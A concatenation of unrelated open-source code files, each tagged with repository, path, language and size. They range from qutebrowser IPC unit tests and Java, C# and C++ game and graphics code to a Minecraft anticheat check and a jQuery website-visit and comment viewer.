monkeypatch.setattr(socket, 'errorString', lambda: "Connection refused") socket.setErrorString("Connection refused.") with pytest.raises(ipc.Error, match=r"Error while handling IPC " r"connection: Connection refused \(error 0\)"): ipc_server.on_error(QLocalSocket.ConnectionRefusedError) class TestHandleConnection: def test_ignored(self, ipc_server, monkeypatch): m = mock.Mock(spec=[]) monkeypatch.setattr(ipc_server._server, 'nextPendingConnection', m) ipc_server.ignored = True ipc_server.handle_connection() m.assert_not_called() def test_no_connection(self, ipc_server, caplog): ipc_server.handle_connection() assert caplog.messages[-1] == "No new connection to handle." def test_double_connection(self, qlocalsocket, ipc_server, caplog): ipc_server._socket = qlocalsocket ipc_server.handle_connection() msg = ("Got new connection but ignoring it because we're still " "handling another one") assert any(message.startswith(msg) for message in caplog.messages) def test_disconnected_immediately(self, ipc_server, caplog): socket = FakeSocket(state=QLocalSocket.UnconnectedState) ipc_server._server = FakeServer(socket) ipc_server.handle_connection() assert "Socket was disconnected immediately." in caplog.messages def test_error_immediately(self, ipc_server, caplog): socket = FakeSocket(error=QLocalSocket.ConnectionError) ipc_server._server = FakeServer(socket) with pytest.raises(ipc.Error, match=r"Error while handling IPC " r"connection: Error string \(error 7\)"): ipc_server.handle_connection() assert "We got an error immediately." in caplog.messages def test_read_line_immediately(self, qtbot, ipc_server, caplog): data = ('{{"args": ["foo"], "target_arg": "tab", ' '"protocol_version": {}}}\n'.format(ipc.PROTOCOL_VERSION)) socket = FakeSocket(data=data.encode('utf-8')) ipc_server._server = FakeServer(socket) with qtbot.waitSignal(ipc_server.got_args) as blocker: ipc_server.handle_connection() assert blocker.args == [['foo'], 'tab', ''] assert "We can read a line immediately." in caplog.messages @pytest.fixture def connected_socket(qtbot, qlocalsocket, ipc_server): if utils.is_mac: pytest.skip("Skipping connected_socket test - " "https://github.com/qutebrowser/qutebrowser/issues/1045") ipc_server.listen() with qtbot.waitSignal(ipc_server._server.newConnection): qlocalsocket.connectToServer('qute-test') yield qlocalsocket qlocalsocket.disconnectFromServer() def test_disconnected_without_data(qtbot, connected_socket, ipc_server, caplog): """Disconnect without sending data. This means self._socket will be None on on_disconnected. """ connected_socket.disconnectFromServer() def test_partial_line(connected_socket): connected_socket.write(b'foo') OLD_VERSION = str(ipc.PROTOCOL_VERSION - 1).encode('utf-8') NEW_VERSION = str(ipc.PROTOCOL_VERSION + 1).encode('utf-8') @pytest.mark.parametrize('data, msg', [ (b'\x80\n', 'invalid utf-8'), (b'\n', 'invalid json'), (b'{"is this invalid json?": true\n', 'invalid json'), (b'{"valid json without args": true}\n', 'Missing args'), (b'{"args": []}\n', 'Missing target_arg'), (b'{"args": [], "target_arg": null, "protocol_version": ' + OLD_VERSION + b'}\n', 'incompatible version'), (b'{"args": [], "target_arg": null, "protocol_version": ' + NEW_VERSION + b'}\n', 'incompatible version'), (b'{"args": [], "target_arg": null, "protocol_version": "foo"}\n', 'invalid version'), (b'{"args": [], "target_arg": null}\n', 'invalid version'), ]) def test_invalid_data(qtbot, ipc_server, connected_socket, caplog, data, msg): signals = [ipc_server.got_invalid_data, connected_socket.disconnected] with caplog.at_level(logging.ERROR): with qtbot.assertNotEmitted(ipc_server.got_args): with qtbot.waitSignals(signals, order='strict'): connected_socket.write(data) invalid_msg = 'Ignoring invalid IPC data from socket ' assert caplog.messages[-1].startswith(invalid_msg) assert caplog.messages[-2].startswith(msg) def test_multiline(qtbot, ipc_server, connected_socket): spy = QSignalSpy(ipc_server.got_args) data = ('{{"args": ["one"], "target_arg": "tab",' ' "protocol_version": {version}}}\n' '{{"args": ["two"], "target_arg": null,' ' "protocol_version": {version}}}\n'.format( version=ipc.PROTOCOL_VERSION)) with qtbot.assertNotEmitted(ipc_server.got_invalid_data): with qtbot.waitSignals([ipc_server.got_args, ipc_server.got_args], order='strict'): connected_socket.write(data.encode('utf-8')) assert len(spy) == 2 assert spy[0] == [['one'], 'tab', ''] assert spy[1] == [['two'], '', ''] class TestSendToRunningInstance: def test_no_server(self, caplog): sent = ipc.send_to_running_instance('qute-test', [], None) assert not sent assert caplog.messages[-1] == "No existing instance present (error 2)" @pytest.mark.parametrize('has_cwd', [True, False]) @pytest.mark.linux(reason="Causes random trouble on Windows and macOS") def test_normal(self, qtbot, tmp_path, ipc_server, mocker, has_cwd): ipc_server.listen() with qtbot.assertNotEmitted(ipc_server.got_invalid_data): with qtbot.waitSignal(ipc_server.got_args, timeout=5000) as blocker: with qtbot.waitSignal(ipc_server.got_raw, timeout=5000) as raw_blocker: with testutils.change_cwd(tmp_path): if not has_cwd: m = mocker.patch('qutebrowser.misc.ipc.os') m.getcwd.side_effect = OSError sent = ipc.send_to_running_instance( 'qute-test', ['foo'], None) assert sent expected_cwd = str(tmp_path) if has_cwd else '' assert blocker.args == [['foo'], '', expected_cwd] raw_expected = {'args': ['foo'], 'target_arg': None, 'version': qutebrowser.__version__, 'protocol_version': ipc.PROTOCOL_VERSION} if has_cwd: raw_expected['cwd'] = str(tmp_path) assert len(raw_blocker.args) == 1 parsed = json.loads(raw_blocker.args[0].decode('utf-8')) assert parsed == raw_expected def test_socket_error(self): socket = FakeSocket(error=QLocalSocket.ConnectionError) with pytest.raises(ipc.Error, match=r"Error while writing to running " r"instance: Error string \(error 7\)"): ipc.send_to_running_instance('qute-test', [], None, socket=socket) def test_not_disconnected_immediately(self): socket = FakeSocket() ipc.send_to_running_instance('qute-test', [], None, socket=socket) def test_socket_error_no_server(self): socket = FakeSocket(error=QLocalSocket.ConnectionError, connect_successful=False) with pytest.raises(ipc.Error, match=r"Error while connecting to " r"running instance: Error string \(error 7\)"): ipc.send_to_running_instance('qute-test', [], None, socket=socket) @pytest.mark.not_mac(reason="https://github.com/qutebrowser/qutebrowser/" "issues/975") def test_timeout(qtbot, caplog, qlocalsocket, ipc_server): ipc_server._timer.setInterval(100) ipc_server.listen() with qtbot.waitSignal(ipc_server._server.newConnection): qlocalsocket.connectToServer('qute-test') with caplog.at_level(logging.ERROR): with qtbot.waitSignal(qlocalsocket.disconnected, timeout=5000): pass assert caplog.messages[-1].startswith("IPC connection timed out") def test_ipcserver_socket_none_readyread(ipc_server, caplog): assert ipc_server._socket is None assert ipc_server._old_socket is None with caplog.at_level(logging.WARNING): ipc_server.on_ready_read() msg = "In on_ready_read with None socket and old_socket!" assert msg in caplog.messages @pytest.mark.posix def test_ipcserver_socket_none_error(ipc_server, caplog): assert ipc_server._socket is None ipc_server.on_error(0) msg = "In on_error with None socket!" assert msg in caplog.messages class TestSendOrListen: @dataclasses.dataclass class Args: no_err_windows: bool basedir: str command: List[str] target: Optional[str] @pytest.fixture def args(self): return self.Args(no_err_windows=True, basedir='/basedir/for/testing', command=['test'], target=None) @pytest.fixture def qlocalserver_mock(self, mocker): m = mocker.patch('qutebrowser.misc.ipc.QLocalServer', autospec=True) m().errorString.return_value = "Error string" m().newConnection = stubs.FakeSignal() return m @pytest.fixture def qlocalsocket_mock(self, mocker): m = mocker.patch('qutebrowser.misc.ipc.QLocalSocket', autospec=True) m().errorString.return_value = "Error string" for name in ['UnknownSocketError', 'UnconnectedState', 'ConnectionRefusedError', 'ServerNotFoundError', 'PeerClosedError']: setattr(m, name, getattr(QLocalSocket, name)) return m @pytest.mark.linux(reason="Flaky on Windows and macOS") def test_normal_connection(self, caplog, qtbot, args): ret_server = ipc.send_or_listen(args) assert isinstance(ret_server, ipc.IPCServer) assert "Starting IPC server..." in caplog.messages assert ret_server is ipc.server with qtbot.waitSignal(ret_server.got_args): ret_client = ipc.send_or_listen(args) assert ret_client is None @pytest.mark.posix(reason="Unneeded on Windows") def test_correct_socket_name(self, args): server = ipc.send_or_listen(args) expected_dir = ipc._get_socketname(args.basedir) assert '/' in expected_dir assert server._socketname == expected_dir def test_address_in_use_ok(self, qlocalserver_mock, qlocalsocket_mock, stubs, caplog, args): """Test the following scenario. - First call to send_to_running_instance: -> could not connect (server not found) - Trying to set up a server and listen -> AddressInUseError - Second call to send_to_running_instance: -> success """ qlocalserver_mock().listen.return_value = False err = QAbstractSocket.AddressInUseError qlocalserver_mock().serverError.return_value = err qlocalsocket_mock().waitForConnected.side_effect = [False, True] qlocalsocket_mock().error.side_effect = [ QLocalSocket.ServerNotFoundError, QLocalSocket.UnknownSocketError, QLocalSocket.UnknownSocketError, # error() gets called twice ] ret = ipc.send_or_listen(args) assert ret is None assert "Got AddressInUseError, trying again." in caplog.messages @pytest.mark.parametrize('has_error, exc_name, exc_msg', [ (True, 'SocketError', 'Error while writing to running instance: Error string (error 0)'), (False, 'AddressInUseError', 'Error while listening to IPC server: Error string (error 8)'), ]) def test_address_in_use_error(self, qlocalserver_mock, qlocalsocket_mock, stubs, caplog, args, has_error, exc_name, exc_msg): """Test the following scenario. - First call to send_to_running_instance: -> could not connect (server not found) - Trying to set up a server and listen -> AddressInUseError - Second call to send_to_running_instance: -> not sent / error """ qlocalserver_mock().listen.return_value = False err = QAbstractSocket.AddressInUseError qlocalserver_mock().serverError.return_value = err # If the second connection succeeds, we will have an error later. # If it fails, that's the "not sent" case above. qlocalsocket_mock().waitForConnected.side_effect = [False, has_error] qlocalsocket_mock().error.side_effect = [ QLocalSocket.ServerNotFoundError, QLocalSocket.ServerNotFoundError, QLocalSocket.ConnectionRefusedError, QLocalSocket.ConnectionRefusedError, # error() gets called twice ] with caplog.at_level(logging.ERROR): with pytest.raises(ipc.Error): ipc.send_or_listen(args) error_msgs = [ 'Handling fatal misc.ipc.{} with --no-err-windows!'.format( exc_name), '', 'title: Error while connecting to running instance!', 'pre_text: ', 'post_text: ', 'exception text: {}'.format(exc_msg), ] assert caplog.messages == ['\n'.join(error_msgs)] @pytest.mark.posix(reason="Flaky on Windows") def test_error_while_listening(self, qlocalserver_mock, caplog, args): """Test an error with the first listen call.""" qlocalserver_mock().listen.return_value = False err = QAbstractSocket.SocketResourceError qlocalserver_mock().serverError.return_value = err with caplog.at_level(logging.ERROR): with pytest.raises(ipc.Error): ipc.send_or_listen(args) error_msgs = [ 'Handling fatal misc.ipc.ListenError with --no-err-windows!', '', 'title: Error while connecting to running instance!', 'pre_text: ', 'post_text: ', ('exception text: Error while listening to IPC server: Error ' 'string (error 4)'), ] assert caplog.messages[-1] == '\n'.join(error_msgs) @pytest.mark.windows @pytest.mark.mac def test_long_username(monkeypatch): """See https://github.com/qutebrowser/qutebrowser/issues/888.""" username = 'alexandercogneau' basedir = '/this_is_a_long_basedir' monkeypatch.setattr(getpass, 'getuser', lambda: username) name = ipc._get_socketname(basedir=basedir) server = ipc.IPCServer(name) expected_md5 = md5('{}-{}'.format(username, basedir)) assert expected_md5 in server._socketname try: server.listen() finally: server.shutdown() def test_connect_inexistent(qlocalsocket): """Make sure connecting to an inexistent server fails immediately. If this test fails, our connection logic checking for the old naming scheme would not work properly. """ qlocalsocket.connectToServer('qute-test-inexistent') assert qlocalsocket.error() == QLocalSocket.ServerNotFoundError @pytest.mark.posix def test_socket_options_address_in_use_problem(qlocalserver, short_tmpdir): """Qt seems to ignore AddressInUseError when using socketOptions. With this test we verify this bug still exists. If it fails, we can probably start using setSocketOptions again. """ servername = str(short_tmpdir / 'x') s1 = QLocalServer() ok = s1.listen(servername) assert ok s2 = QLocalServer() s2.setSocketOptions(QLocalServer.UserAccessOption) ok = s2.listen(servername) print(s2.errorString()) # We actually would expect ok == False here - but we want the test to fail # when the Qt bug is fixed. assert ok
fiete201/qutebrowser
tests/unit/misc/test_ipc.py
Python
gpl-3.0
28,342
package es.udc.tfg_es.clubtriatlon.utils.dao; /* BSD License */ import java.io.Serializable; import es.udc.tfg_es.clubtriatlon.utils.exceptions.InstanceNotFoundException; public interface GenericDao <E, PK extends Serializable>{ void save(E entity); E find(PK id) throws InstanceNotFoundException; boolean exists(PK id); void remove(PK id) throws InstanceNotFoundException; }
Al-Mikitinskis/ClubTriatlon
src/main/java/es/udc/tfg_es/clubtriatlon/utils/dao/GenericDao.java
Java
gpl-3.0
388
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace ConsoleTutorial1 { class Program { static void Main(string[] args) { Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine("Hello"); Console.ForegroundColor = ConsoleColor.DarkYellow; Console.WriteLine("World"); Console.Read(); } } }
Easelm/ProgrammingNomEntertainment
Tutorials/C# Console Tutorials/ConsoleTutorial1/ConsoleTutorial1/Program.cs
C#
gpl-3.0
472
/***************************************************************************** The Dark Mod GPL Source Code This file is part of the The Dark Mod Source Code, originally based on the Doom 3 GPL Source Code as published in 2011. The Dark Mod Source Code is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. For details, see LICENSE.TXT. Project: The Dark Mod (http://www.thedarkmod.com/) $Revision: 5935 $ (Revision of last commit) $Date: 2014-02-15 19:19:00 +0000 (Sat, 15 Feb 2014) $ (Date of last commit) $Author: grayman $ (Author of last commit) ******************************************************************************/ #include "precompiled_game.h" #pragma hdrstop static bool versioned = RegisterVersionedFile("$Id: PathWaitForTriggerTask.cpp 5935 2014-02-15 19:19:00Z grayman $"); #include "../Memory.h" #include "PathWaitForTriggerTask.h" #include "../Library.h" namespace ai { PathWaitForTriggerTask::PathWaitForTriggerTask() : PathTask() {} PathWaitForTriggerTask::PathWaitForTriggerTask(idPathCorner* path) : PathTask(path) { _path = path; } // Get the name of this task const idStr& PathWaitForTriggerTask::GetName() const { static idStr _name(TASK_PATH_WAIT_FOR_TRIGGER); return _name; } void PathWaitForTriggerTask::Init(idAI* owner, Subsystem& subsystem) { PathTask::Init(owner, subsystem); owner->AI_ACTIVATED = false; } bool PathWaitForTriggerTask::Perform(Subsystem& subsystem) { DM_LOG(LC_AI, LT_INFO)LOGSTRING("Path WaitForTrigger Task performing.\r"); //idPathCorner* path = _path.GetEntity(); idAI* owner = _owner.GetEntity(); // This task may not be performed with empty entity pointers assert( owner != NULL ); if (owner->AI_ACTIVATED) { owner->AI_ACTIVATED = false; // Trigger path targets, now that the owner has been activated // grayman #3670 - this activates owner targets, not path targets owner->ActivateTargets(owner); // NextPath(); // Move is done, fall back to PatrolTask DM_LOG(LC_AI, LT_INFO)LOGSTRING("Waiting for trigger is done.\r"); return true; // finish this task } return false; } PathWaitForTriggerTaskPtr PathWaitForTriggerTask::CreateInstance() { return PathWaitForTriggerTaskPtr(new PathWaitForTriggerTask); } // Register this task with the TaskLibrary TaskLibrary::Registrar pathWaitForTriggerTaskRegistrar( TASK_PATH_WAIT_FOR_TRIGGER, // Task Name TaskLibrary::CreateInstanceFunc(&PathWaitForTriggerTask::CreateInstance) // Instance creation callback ); } // namespace ai
Extant-1/ThieVR
game/ai/Tasks/PathWaitForTriggerTask.cpp
C++
gpl-3.0
2,703
/* * Copyright (C) 2008-2009 Daniel Prevost <dprevost@photonsoftware.org> * * This file is part of Photon (photonsoftware.org). * * This file may be distributed and/or modified under the terms of the * GNU General Public License version 2 or version 3 as published by the * Free Software Foundation and appearing in the file COPYING.GPL2 and * COPYING.GPL3 included in the packaging of this software. * * Licensees holding a valid Photon Commercial license can use this file * in accordance with the terms of their license. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. */ using System; using System.Collections.Generic; using System.Text; using System.Runtime.InteropServices; namespace Photon { public partial class Lifo { // --+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+-- // Track whether Dispose has been called. private bool disposed = false; private IntPtr handle; private IntPtr sessionHandle; // --+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+-- [DllImport("photon.dll", CallingConvention = CallingConvention.Cdecl)] private static extern int psoLifoClose(IntPtr objectHandle); [DllImport("photon.dll", CallingConvention = CallingConvention.Cdecl)] private static extern int psoLifoDefinition( IntPtr objectHandle, ref ObjectDefinition definition); [DllImport("photon.dll", CallingConvention = CallingConvention.Cdecl)] private static extern int psoLifoGetFirst( IntPtr objectHandle, byte[] buffer, UInt32 bufferLength, ref UInt32 returnedLength); [DllImport("photon.dll", CallingConvention = CallingConvention.Cdecl)] private static extern int psoLifoGetNext( IntPtr objectHandle, byte[] buffer, UInt32 bufferLength, ref UInt32 returnedLength); [DllImport("photon.dll", CallingConvention = CallingConvention.Cdecl)] private static extern int psoLifoOpen( IntPtr sessionHandle, string queueName, UInt32 nameLengthInBytes, ref IntPtr objectHandle); [DllImport("photon.dll", CallingConvention = CallingConvention.Cdecl)] private static extern int psoLifoPop( IntPtr objectHandle, byte[] buffer, UInt32 bufferLength, ref UInt32 returnedLength); [DllImport("photon.dll", CallingConvention = CallingConvention.Cdecl)] private static extern int psoLifoPush( IntPtr objectHandle, byte[] pItem, UInt32 length); [DllImport("photon.dll", CallingConvention = CallingConvention.Cdecl)] private static extern int psoLifoStatus( IntPtr objectHandle, ref ObjStatus pStatus); // --+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+-- private void Dispose(bool disposing) { // Check to see if Dispose has already been called. if (!this.disposed) { psoLifoClose(handle); } disposed = true; } // --+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+-- ~Lifo() { Dispose(false); } // --+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+-- } }
dprevost/photon
src/CS/PhotonLib/PrivateLifo.cs
C#
gpl-3.0
3,740
package io.github.davidm98.crescent.detection.checks.inventory.inventorytweaks; import org.bukkit.entity.Player; import org.bukkit.event.Event; import org.bukkit.event.inventory.InventoryClickEvent; import io.github.davidm98.crescent.detection.checks.Check; import io.github.davidm98.crescent.detection.checks.CheckVersion; public class InventoryTweaksA extends CheckVersion { public InventoryTweaksA(Check check) { super(check, "A", "Check if the player is performing impossible actions whilst moving."); } @Override public void call(Event event) { if (event instanceof InventoryClickEvent) { // The player has clicked. final Player player = profile.getPlayer(); if (player.isSprinting() || player.isSneaking() || player.isBlocking() || player.isSleeping() || player.isConversing()) { // The player has clicked in their inventory impossibly. callback(true); } } } }
awesome90/Crescent
src/io/github/davidm98/crescent/detection/checks/inventory/inventorytweaks/InventoryTweaksA.java
Java
gpl-3.0
942
//------------------------------------------------------------------------------ // // Module 08939 : Advanced Graphics // Bicubic B-Spline Assessment // Curve1D.cpp // //------------------------------------------------------------------------------ //------------------------------------------------------------------------------ // include files #include <iostream> #include <string> #include <fstream> #include <GL/glut.h> #pragma hdrstop #include "Curve1D.h" #include "Curve.h" #include "Constants.h" //------------------------------------------------------------------------------ // namespace using namespace std; using namespace ComputerGraphics; //------------------------------------------------------------------------------ // constructor Curve1D::Curve1D() : _position(0) { } //------------------------------------------------------------------------------ // render data points void Curve1D::render(bool markers, bool animation) { glDisable(GL_LIGHTING); glDisable(GL_DEPTH_TEST); const double BORDER = 0.2; int width = glutGet(GLUT_WINDOW_WIDTH); int height = glutGet(GLUT_WINDOW_HEIGHT); int point; glViewport(0, 0, width, height); glBegin(GL_LINES); glColor3d(0.5, 0.5, 0.5); glVertex2d(-1.0 + BORDER * 2.0, -1.0); glVertex2d(-1.0 + BORDER * 2.0, 1.0); glVertex2d(-1.0, -1.0 + BORDER * 2.0); glVertex2d(1.0, -1.0 + BORDER * 2.0); glEnd(); // main window glViewport(BORDER * width, BORDER * height, (1.0 - BORDER) * width, (1.0 - BORDER) * height); glColor3d(0.0, 0.0, 0.0); glRasterPos2d(-1.0, -1.0); glutBitmapCharacter(GLUT_BITMAP_8_BY_13, '('); glutBitmapCharacter(GLUT_BITMAP_8_BY_13, 'Y'); glutBitmapCharacter(GLUT_BITMAP_8_BY_13, ')'); glutBitmapCharacter(GLUT_BITMAP_8_BY_13, '('); glutBitmapCharacter(GLUT_BITMAP_8_BY_13, 'T'); glutBitmapCharacter(GLUT_BITMAP_8_BY_13, ')'); glLineWidth(LINE_WIDTH); glDisable(GL_LINE_SMOOTH); glBegin(GL_LINE_STRIP); glColor3d(0.0, 0.0, 1.0); for (point = 0; point <= RESOLUTION; point++) { double tPoint = t(0) + (double)point / (double)RESOLUTION * (t(n() - 1) - t(0)); glVertex2d(tPoint, x().vertex(tPoint)); } glEnd(); if (markers) { glPointSize(POINT_SIZE); glEnable(GL_POINT_SMOOTH); glBegin(GL_POINTS); glColor3d(0.0, 0.0, 1.0); for (point = 0; point < n(); point++) { glVertex2d(x().t(point), x().f(point)); } glColor3d(1.0, 0.0, 0.0); glVertex2d(x().t(x().i()), x().f(x().i())); glEnd(); } if (animation) { glPointSize(POINT_SIZE); glEnable(GL_POINT_SMOOTH); glBegin(GL_POINTS); glColor3d(1.0, 0.0, 1.0); double tPoint = t(0) + (double)_position / (double)RESOLUTION * (t(n() - 1) - t(0)); glVertex2d(tPoint, x().vertex(tPoint)); _position = (_position + 1) % RESOLUTION; glEnd(); } else { _position = 0; } // y window glViewport(0, BORDER * height, BORDER * width, (1.0 - BORDER) * height); glColor3d(0.0, 0.0, 0.0); glRasterPos2d(-1.0, -1.0); glutBitmapCharacter(GLUT_BITMAP_8_BY_13, 'Y'); glutBitmapCharacter(GLUT_BITMAP_8_BY_13, '('); glutBitmapCharacter(GLUT_BITMAP_8_BY_13, 'T'); glutBitmapCharacter(GLUT_BITMAP_8_BY_13, ')'); x().render(markers); } //------------------------------------------------------------------------------ // get x const Curve &Curve1D::x() const { return _x; } //------------------------------------------------------------------------------ // read data points void Curve1D::read(const string &filename) { ifstream in(filename.c_str()); if (!in.good()) { throw string("Error : Invalid file name = " + filename); } clear(); int n; in >> n; for (int i = 0; i < n; i++) { double x; in >> x; add(x); } } //------------------------------------------------------------------------------ // write data points void Curve1D::write(const string &filename) const { ofstream out(filename.c_str()); if (!out.good()) { throw string("Error : Invalid file name = " + filename); } out << n() << endl; for (int i = 0; i < n(); i++) { out << _x.f(i) << endl; } } //------------------------------------------------------------------------------ // add data point void Curve1D::add(double x) { _x.add(x); } //------------------------------------------------------------------------------ // modify data point void Curve1D::modify(double x) { _x.modify(x); } //------------------------------------------------------------------------------ // insert data point void Curve1D::insert() { _x.insert(); } //------------------------------------------------------------------------------ // remove data point void Curve1D::remove() { _x.remove(); } //------------------------------------------------------------------------------ // clear arrays void Curve1D::clear() { _x.clear(); } //------------------------------------------------------------------------------ // next data point void Curve1D::next() { _x.next(); } //------------------------------------------------------------------------------ // previous data point void Curve1D::previous() { _x.previous(); } //------------------------------------------------------------------------------ // first data point void Curve1D::first() { _x.first(); } //------------------------------------------------------------------------------ // last data point void Curve1D::last() { _x.last(); } //------------------------------------------------------------------------------ // get index of data point int Curve1D::i() const { return x().i(); } //------------------------------------------------------------------------------ // get number of data points int Curve1D::n() const { return x().n(); } //------------------------------------------------------------------------------ // get data point parameter double Curve1D::t(int m) const { return x().t(m); } //------------------------------------------------------------------------------
sihart25/BicubicBSpline
Source/Curve1D.cpp
C++
gpl-3.0
6,272
var btimer; var isclosed=true; var current_show_id=1; var current_site_id; var wurl; var comment_recapcha_id; function hideVBrowser() { isclosed=true; $('#websiteviewer_background').fadeOut(); } function submitTest(view_token) { $('#websiteviewer_browserheader').html('<center>...در حال بررسی</center>'); $.ajax({ url:wurl+'/websites/api/submitpoint?website_id='+current_site_id+'&view_token='+view_token, success:function(dr) { if(dr.ok===true) { $('#websiteviewer_browserheader').html(`<center style="color:#00aa00;">`+dr.text+`<center>`); } else { $('#websiteviewer_browserheader').html(`<center style="color:#ff0000;">`+dr.text+`<center>`); } $("#pointviewer").html('امتیاز شما : '+ dr.point ); } }); } function showTester() { $('#websiteviewer_browserheader').html('<center>لطفا کمی صبر کنید</center>'); $.ajax({ url:wurl+'/websites/api/requestpoint?website_id='+current_site_id, success:function(dr) { if(dr.able==false) { alert('متاسفانه امکان ثبت امتیاز وجود ندارد!'); return; } $('#websiteviewer_browserheader').html(`<center> <img id=\"validation_image\" src=\"`+wurl+`/websites/api/current_image.png?s=`+dr.rand_session+`\"> <button onclick=\"submitTest(\'`+dr.v0.value+`\')\">`+dr.v0.name+`</button> <button onclick=\"submitTest(\'`+dr.v1.value+`\')\">`+dr.v1.name+`</button> <button onclick=\"submitTest(\'`+dr.v2.value+`\')\">`+dr.v2.name+`</button> گزینه ی صحیح را انتخاب کنید </center>`); } }); } function browserTimer(_reset=false) { if(_reset===true) browserTimer.csi=current_show_id; if(isclosed===true|| browserTimer.csi!== current_show_id) return; btimer-=1; $('#websiteviewer_browserheader').html(' <center> &nbsp;لطفا&nbsp; '+parseInt(btimer)+' &nbsp;ثانیه صبر کنید&nbsp; </center> '); if(btimer>0) setTimeout(browserTimer,1000); else showTester(); } function showwebsite(weburl,websiteid,watchonly=false) { $('#websiteviewer_background').css('visibility','visible'); $('#websiteviewer_browserheader').html('<center>...در حال بارگزاری</center>'); $('#websiteviewer_browser').html(''); $("#websiteviewer_browser").css('display','block'); $("#websiteviewer_comments").css('display','none'); $('#websiteviewer_background').fadeIn(); $('#website_detials').html(' '); current_show_id++; isclosed=false; $.ajax({ url:weburl+'/websites/api/requestvisit?website_id='+websiteid, success:function(dr) { $('#websiteviewer_browser').html('<iframe sandbox=\'\' style=\'width: 100%;height: 100%;\' src=\''+dr.weburl+'\'></iframe>'); if(watchonly) { $('#websiteviewer_browserheader').html('<center>'+dr.title+' <a href="'+weburl+'/websites/editwebsite?website_id='+websiteid+'"><button>اصلاح مشخصات</button></a> '+'</center>'); } else if(dr.selfwebsite===true) { $('#websiteviewer_browserheader').html('<center> این وبسایت توسط خود شما ثبت شده است </center>'); } else if(dr.thepoint<=0) { $('#websiteviewer_browserheader').html('<center> امتیازی جهت کسب کردن وجود ندارد</center>'); } else if(dr.able===false) { $('#websiteviewer_browserheader').html('<center>شما اخیرا از این سایت بازدید کرده اید . لطفا بعدا تلاش کنید</center>'); } else if(dr.nopoint===true) { $('#websiteviewer_browserheader').html('<center>متاسفانه مقدار امتیاز صاحب سایت برای دریافت امتیاز شما کافی نیست</center>'); } else { $('#websiteviewer_browserheader').html('<center> &nbsp;لطفا&nbsp; '+parseInt(dr.timer)+'&nbsp;ثانیه صبر کنید &nbsp;</center>'); setTimeout(function(){browserTimer(true);},1000); } btimer=dr.timer; current_site_id=websiteid; wurl=weburl; if(dr.liked) { $("#websiteviewer_likeButton").css('background-image',' url(\'/images/like_true.png\')'); $("#websiteviewer_likeButton").attr('title','حزف پسندیدن'); } else { $("#websiteviewer_likeButton").css('background-image',' url(\'/images/like_false.png\')'); $("#websiteviewer_likeButton").attr('title','پسندیدن'); } $("#website_detials").html('<span dir="rtl"> <a target="_blank" href="'+dr.weburl+'">'+dr.weburl+'</a> | &nbsp;'+dr.title+' &nbsp; <a target="_blank" href="'+weburl+'/user/'+dr.the_user_name+'">'+dr.user_name+'</a></span>'); } }); } function toggleLike() { $.ajax({ url:wurl+'/websites/api/togglelike?websiteid='+current_site_id, success:function(dr) { if(dr.website_id===current_site_id) { if(dr.liked) { $("#websiteviewer_likeButton").css('background-image',' url(\'/images/like_true.png\')'); $("#websiteviewer_likeButton").attr('title','حزف پسندیدن'); } else { $("#websiteviewer_likeButton").css('background-image',' url(\'/images/like_false.png\')'); $("#websiteviewer_likeButton").attr('title','پسندیدن'); } } } }); } function tabShowComments() { $("#websiteviewer_browser").css('display','none'); $("#websiteviewer_comments").css('display','block'); $("#websiteviewer_comments").html('<center>...در حال بارگزاری</center>'); loadComments(); } function tabShowWebsite() { $("#websiteviewer_browser").css('display','block'); $("#websiteviewer_comments").css('display','none'); } function loadComments() { $.ajax({ url:wurl+'/websites/api/comments/'+current_site_id, success:function(dr){ $('#websiteviewer_comments').html(''); $('#websiteviewer_comments').append(`<div id="your_comment_div"><form onsubmit="postComment()" action="`+wurl+`" method="post"><input type="text" placeholder="نظر شما" id="your_comment_content"></textarea><div id="__google_recaptcha"></div><input onclick="postComment(event)" type="submit" value="ارسال نظر"></form></div>`); comment_recapcha_id=grecaptcha.render('__google_recaptcha',{'sitekey':'6LfaYSgUAAAAAFxMhXqtX6NdYW0jxFv1wnIFS1VS'}); $('#websiteviewer_comments').append(`</div>`); for(var i=0;i<dr.comments.length;i++) { var str = '<span dir="rtl">'+dr.users[i].name + ' میگه : ' + dr.comments[i].content+'</span>'; if(dr.ownwebsite || dr.comments[i].user_id == dr.current_user_id ) { str+='<a href="javascript:void(0)"><button onclick="deleteComment('+dr.comments[i].id+')"> حزف </button></a>'; } $('#websiteviewer_comments').append('<div class="websiteviewer_thecommentblock" >'+str+'</div><br>' ); } } }); } function postComment(e) { e.preventDefault(); console.log(grecaptcha); if(grecaptcha==null) { alert('انجام نشد'); return false; } var rr = grecaptcha.getResponse(comment_recapcha_id); $.ajaxSetup({ headers: { 'X-CSRF-TOKEN': $('meta[name="csrf-token"]').attr('content') } }); $.ajax({ type: "POST", url:wurl+'/website/api/comments/add', data:{'g-recaptcha-response':rr,"website_id":current_site_id,"content":$("#your_comment_content").val()}, success:function(dr){ if(dr.done===true) { alert('نظر شما ثبت شد'); grecaptcha.reset(); loadComments(); } else { alert('متاسفانه مشکلی وجود دارد.نظر شما ثبت نشد. مطمئن شوید محتوای نظر شما خالی نیست و گزینه ی من یک ربات نیستم را تایید کرده اید'); grecaptcha.reset(); } }, error: function(data) { alert('متاسفانه مشکلی در ارتباط با سرور وجود دارد. نظر شما ثبت نشده است.'); } }); alert('... لطفا کمی صبر کنید'); return false; } function deleteComment(comment_id) { var _con = confirm('آیا برای حزف این نظر مطمئن هستید؟'); if(_con==false) return; $.ajaxSetup({ headers: { 'X-CSRF-TOKEN': $('meta[name="csrf-token"]').attr('content') } }); $.ajax({ url:wurl+'/website/api/comments/delete', type:"post", data:{"cid":comment_id}, success:function(dr){ if(dr.done==true) alert('حزف شد'); else alert('مشکلی در حزف وجود دارد'); loadComments(); } }); }
